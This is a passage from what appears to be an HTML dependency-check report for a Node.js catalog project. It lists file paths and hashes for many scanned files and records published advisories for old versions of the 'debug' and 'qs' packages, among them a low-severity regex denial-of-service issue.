d3e7be2dc879a9d51ca9f879728ed7137353095e<br/><b>SHA256:</b>f5e19ec62ad823b6fbc618f3bca8ed3bb521ec7e5dc70540dcce43996ce3c464</p><h4 id="header164" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content164" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header165" class="subsectionheader white">Identifiers</h4><div id="content165" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l83_1b729cd93783f1a433bbcf0c822da88b0aeddf0a"></a>ensure_index.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/scripts/mongodb/ensure_index.js<br/><b>MD5:</b> e8a0b3fc6e53b1a7d713fe4b1afdf2e1<br/><b>SHA1:</b> 1b729cd93783f1a433bbcf0c822da88b0aeddf0a<br/><b>SHA256:</b>3455d1de28f1aeb4ba0fdd6d12d0f59bdb418f2d9d20b6583d90ac29fe727e8d</p><h4 id="header166" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content166" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header167" class="subsectionheader white">Identifiers</h4><div id="content167" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l84_c07b81e0a90b1003084d2966ff039747a287219f"></a>hashDb.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/search/lib/hashDb.js<br/><b>MD5:</b> a9d72f8b450f47425f78a56f4f2f3bde<br/><b>SHA1:</b> c07b81e0a90b1003084d2966ff039747a287219f<br/><b>SHA256:</b>499cf29ddd2d6fdf737648ab908082bbb47d93276d4340b929f5d0b487b3d8b9</p><h4 id="header168" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content168" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header169" class="subsectionheader white">Identifiers</h4><div id="content169" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l85_a2f19893e59626d3f675246ddc899c21938492a8"></a>work.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/lib/work.js<br/><b>MD5:</b> d6194f5fc070f36a81e5e16ff2e291e4<br/><b>SHA1:</b> a2f19893e59626d3f675246ddc899c21938492a8<br/><b>SHA256:</b>6090b5bc6baee534523537c2002d2c87ff5a51ae15d89e639cc0d9d990b033e3</p><h4 id="header170" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content170" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header171" class="subsectionheader white">Identifiers</h4><div id="content171" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l86_d9e5e7512e9f374a623f812ce1f918519591d83b"></a>main.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/event/main.js<br/><b>MD5:</b> ead5a43880db0997678852fcad8a4771<br/><b>SHA1:</b> d9e5e7512e9f374a623f812ce1f918519591d83b<br/><b>SHA256:</b>30c52fef54c31181e3a94ebb6b8067d79c9232ba94e0915831b78bee11a76e69</p><h4 id="header172" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content172" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header173" class="subsectionheader white">Identifiers</h4><div id="content173" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l87_2e2420b6d843511c69b554e1acbe922447bcb4d3"></a>core.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/core.js<br/><b>MD5:</b> 5b8cea01fde4ad037cc19166aca77079<br/><b>SHA1:</b> 2e2420b6d843511c69b554e1acbe922447bcb4d3<br/><b>SHA256:</b>4848684b279576f6324e68ce291f692129ea6cdabcc2ae09b6cd9d5481b7b1c0</p><h4 id="header174" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content174" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header175" class="subsectionheader white">Identifiers</h4><div id="content175" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l88_6e1b3411c582b290fc21942cd5ecb6b95ba1f4c6"></a>works.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/works.js<br/><b>MD5:</b> cf28c48fe0ec8f8b6aa95de530a89e7f<br/><b>SHA1:</b> 6e1b3411c582b290fc21942cd5ecb6b95ba1f4c6<br/><b>SHA256:</b>23eea31d2f990440b3e993db12a53e116eaca7f98506c33c15162f61a364f0f2</p><h4 id="header176" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content176" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header177" class="subsectionheader white">Identifiers</h4><div id="content177" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l89_c74776feb92249c6bd564e25ba1aec9afc8a7bda"></a>delete_collection.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/scripts/mongodb/delete_collection.js<br/><b>MD5:</b> 5845632126e61f46f6a53da526e5dd2e<br/><b>SHA1:</b> c74776feb92249c6bd564e25ba1aec9afc8a7bda<br/><b>SHA256:</b>d8ce659b691646d76a922b7b3caea47d6da225d6f2e1d3042d25f536676f59ef</p><h4 id="header178" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content178" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header179" class="subsectionheader white">Identifiers</h4><div id="content179" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l90_37e245c21d8a15fe365c3490038605e4e854eb8c"></a>workModel.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/models/workModel.js<br/><b>MD5:</b> 936055fe11acdec8476676b17485cf62<br/><b>SHA1:</b> 37e245c21d8a15fe365c3490038605e4e854eb8c<br/><b>SHA256:</b>b1cd35c908cb82d50e3b4f360969f5a09af6543d4b01d08648a74cba2507bd7f</p><h4 id="header180" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content180" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header181" class="subsectionheader white">Identifiers</h4><div id="content181" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l91_a188cc914d8220c90c61377837b05d44807fe2e4"></a>load-hash.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/scripts/load/load-hash.js<br/><b>MD5:</b> 6ba91de15a2af828184fc42c36dc349e<br/><b>SHA1:</b> a188cc914d8220c90c61377837b05d44807fe2e4<br/><b>SHA256:</b>228fa89fed7dfe235a65c958aa0570ce3476014a58d43ae9320d05ec3a101e3a</p><h4 id="header182" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content182" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header183" class="subsectionheader white">Identifiers</h4><div id="content183" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l92_4d3e3c3e4c6c7f300f1ed39a7bee416074984baa"></a>users.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/users.js<br/><b>MD5:</b> 92472d4a89564841fff982c67c4dfe21<br/><b>SHA1:</b> 4d3e3c3e4c6c7f300f1ed39a7bee416074984baa<br/><b>SHA256:</b>d51e84ad84b64dffbff0b74f88ba259bb39e9f4df765599fab84b3256be51875</p><h4 id="header184" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content184" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header185" class="subsectionheader white">Identifiers</h4><div id="content185" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l93_960555ddeb4285c0e79c1b139b5f2621147ce073"></a>create_user.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/scripts/mongodb/create_user.js<br/><b>MD5:</b> 8a8769bb715030ad739fba6cec27aff8<br/><b>SHA1:</b> 960555ddeb4285c0e79c1b139b5f2621147ce073<br/><b>SHA256:</b>11c08ffd41c18b3b4d707efd61f9b0321f711b8d9ce3fc57e368961059f787f3</p><h4 id="header186" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content186" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header187" class="subsectionheader white">Identifiers</h4><div id="content187" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l94_c0581098ffaf6b5617115c1e9d954ea54b119203"></a>command.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/lib/command.js<br/><b>MD5:</b> fcf9ea6d8ebf0d4f398569775ea7cddb<br/><b>SHA1:</b> c0581098ffaf6b5617115c1e9d954ea54b119203<br/><b>SHA256:</b>53464e6fa39bcad9d911d5e8a6ede2327b43e74e7cfd7dfd401853f7206f7b94</p><h4 id="header188" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content188" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header189" class="subsectionheader white">Identifiers</h4><div id="content189" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l95_5f417d11c22fe4d93f559c4391648bad6d36d746"></a>test_media.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/tests/test_media.js<br/><b>MD5:</b> 75a7bd23e4c16e550f8142067071707b<br/><b>SHA1:</b> 5f417d11c22fe4d93f559c4391648bad6d36d746<br/><b>SHA256:</b>4bd093a0d4014212450e49fd773318df61553e3ee8ce816f2fe030a40f37bac3</p><h4 id="header190" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content190" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header191" class="subsectionheader white">Identifiers</h4><div id="content191" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l96_8fe2f34c058a548f65510060e45d9bacb37ced86"></a>event.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/event/event.js<br/><b>MD5:</b> fa734ad79ec855a02ea4ee57a6bcaf1e<br/><b>SHA1:</b> 8fe2f34c058a548f65510060e45d9bacb37ced86<br/><b>SHA256:</b>4d81f965e42826a1009003525483a14c9049ed6385fccc31e60fd94d24469fba</p><h4 id="header192" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content192" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header193" class="subsectionheader white">Identifiers</h4><div id="content193" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l97_d912fb9887349b48e3c2138ee95fa159f2c9d73e"></a>test_organisation.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/tests/test_organisation.js<br/><b>MD5:</b> 2d771b2d2ea6d942781f1c4f7318e342<br/><b>SHA1:</b> d912fb9887349b48e3c2138ee95fa159f2c9d73e<br/><b>SHA256:</b>3a1d5e6cd452505afdd89320d0a2be7c286e5310df932467c184985df34dd8c7</p><h4 id="header194" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content194" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header195" class="subsectionheader white">Identifiers</h4><div id="content195" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l98_03cc4f34e950cf7418b016e096135f74d1ce6164"></a>createWorkView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/createWorkView.js<br/><b>MD5:</b> a85809727658abe57fb18167f2dce3f9<br/><b>SHA1:</b> 03cc4f34e950cf7418b016e096135f74d1ce6164<br/><b>SHA256:</b>54eadd1b5ae675dfa10dcb0dd58ee1b33470fb665cb1619c00e472a4e407819f</p><h4 id="header196" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content196" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header197" class="subsectionheader white">Identifiers</h4><div id="content197" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l99_557262d0f092dca4d4eb17d46530c9427760e106"></a>pages.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/pages.js<br/><b>MD5:</b> e8455dd4c750bc4bc6bc19f00882b322<br/><b>SHA1:</b> 557262d0f092dca4d4eb17d46530c9427760e106<br/><b>SHA256:</b>510ea78b9be60d94a343fd11e02337f599895b15335b3437ab9326bc90c7e980</p><h4 id="header198" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content198" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header199" class="subsectionheader white">Identifiers</h4><div id="content199" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l100_c268513f44823dc485728ee0ebd8e10e66b6d6ca"></a>request.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/request.js<br/><b>MD5:</b> 5e04c186cf5c80537fdd66dd24ea0389<br/><b>SHA1:</b> c268513f44823dc485728ee0ebd8e10e66b6d6ca<br/><b>SHA256:</b>7c46a99708575d716a4463ab0c618ee5e09ad235eacb88e4718051e034aad70d</p><h4 id="header200" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content200" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header201" class="subsectionheader white">Identifiers</h4><div id="content201" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l101_4929df6650083ca256d55ffcd14e4ca572df2b0a"></a>annotations.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/annotations.js<br/><b>MD5:</b> 015e6255cf289e6e3fdf44721381329f<br/><b>SHA1:</b> 4929df6650083ca256d55ffcd14e4ca572df2b0a<br/><b>SHA256:</b>b5e7202162ad91c12281f4c77d6103a266ee9755b101d46390dc1760acf9d032</p><h4 id="header202" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content202" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header203" class="subsectionheader white">Identifiers</h4><div id="content203" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l102_b4b382498b02e68b35f705a2a32b06e8cdcfc922"></a>sources.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/sources.js<br/><b>MD5:</b> dfe1482d1f1d4ab8605b628b0db993f3<br/><b>SHA1:</b> b4b382498b02e68b35f705a2a32b06e8cdcfc922<br/><b>SHA256:</b>3074845c83d1ae20b7e88bdc869611428fee7306c1976b924b17648e6ff91793</p><h4 id="header204" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content204" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header205" class="subsectionheader white">Identifiers</h4><div id="content205" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l103_d5f4b29617c03a0d6e72118dc948f148c4bac375"></a>test_sources.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/tests/test_sources.js<br/><b>MD5:</b> 8164e63a210ca064c98dc72b92b5caa0<br/><b>SHA1:</b> d5f4b29617c03a0d6e72118dc948f148c4bac375<br/><b>SHA256:</b>663edfece68531a2acf5dddb278cf263d4c86964fe56d42050f53d9f4b2bb73a</p><h4 id="header206" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content206" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header207" class="subsectionheader white">Identifiers</h4><div id="content207" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l104_a6765d44b90658e71f1c908fae4ebfe65de38587"></a>organisations.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/organisations.js<br/><b>MD5:</b> 7d306e2a0a1dc1ca629b309db377fca2<br/><b>SHA1:</b> a6765d44b90658e71f1c908fae4ebfe65de38587<br/><b>SHA256:</b>ddb9071d206bbc8a899980dd9d12c0f8dd849b9d584a491dd2f5c156d4e89e96</p><h4 id="header208" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content208" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header209" class="subsectionheader white">Identifiers</h4><div id="content209" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l105_36c873e60576256c656037e6085e6971d2874a8b"></a>users.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/users.js<br/><b>MD5:</b> a112ff963d1386c89e9009d0b9a332ce<br/><b>SHA1:</b> 36c873e60576256c656037e6085e6971d2874a8b<br/><b>SHA256:</b>31744c8065aec9d854f60570abe60847816ec990ccc923536c273ce665a18960</p><h4 id="header210" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content210" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header211" class="subsectionheader white">Identifiers</h4><div id="content211" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l106_e67c0d7f3e57d887a36ceb35b868b597278a9df2"></a>media.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/lib/media.js<br/><b>MD5:</b> 4a19bf1718ba7a9a29584c8e4f05f6f4<br/><b>SHA1:</b> e67c0d7f3e57d887a36ceb35b868b597278a9df2<br/><b>SHA256:</b>514c81f70f09e80b9d7e266793bf6aef21b62510f69eda1801726bb47b005251</p><h4 id="header212" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content212" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header213" class="subsectionheader white">Identifiers</h4><div id="content213" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l107_6e1dd866911f6f653e093cb5998caf4feec5ded3"></a>works.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/works.js<br/><b>MD5:</b> f86feb925312da66ae02d0094bef2ee3<br/><b>SHA1:</b> 6e1dd866911f6f653e093cb5998caf4feec5ded3<br/><b>SHA256:</b>ee7f56da51e7bb23f368d01d28e184d2064b146d7e1aa63d776fd942dd462bbe</p><h4 id="header214" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content214" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header215" class="subsectionheader white">Identifiers</h4><div id="content215" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l108_027981c839ed5112b93cf551267ac1f74a88318c"></a>editWorkDetailsView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/editWorkDetailsView.js<br/><b>MD5:</b> 4769946dc4d4451b6e3d55d742ca7729<br/><b>SHA1:</b> 027981c839ed5112b93cf551267ac1f74a88318c<br/><b>SHA256:</b>8979de027da926e5584debf1cd189276a936b2adc86f812bdddc86233e20ccba</p><h4 id="header216" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content216" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header217" class="subsectionheader white">Identifiers</h4><div id="content217" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection"><a name="l109_a46e4419055a3c355cf1b3fa2efb8db7075d4204"></a>debug:0.7.4</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?debug<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header218" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content218" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>debug</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>debug</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.7.4</td><td>Highest</td></tr></table></div><h4 id="header219" class="subsectionheader white">Identifiers</h4><div id="content219" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> debug:0.7.4 <i>Confidence</i>:Highest</li></ul></div><h4 id="header220" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content220" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/534">NSP-534</a></b></p><p>Severity:Low<br/>CVSS Score: 3.7 </p><p><pre>Affected versions of `debug` are vulnerable to regular expression denial of service when untrusted user input is passed into the `o` formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/534">Advisory 534: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs1">debug:<= 2.6.8 || >= 3.0.0 <= 3.0.1</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l110_d015092b98da51845ad5a50f068d185193e0c150"></a>qs:0.6.5</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?qs<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header221" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content221" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>qs</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>qs</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.6.5</td><td>Highest</td></tr></table></div><h4 id="header222" class="subsectionheader white">Identifiers</h4><div id="content222" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> qs:0.6.5 <i>Confidence</i>:Highest</li></ul></div><h4 id="header223" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content223" class="subsectioncontent standardsubsection"><p><b><a target="_blank" 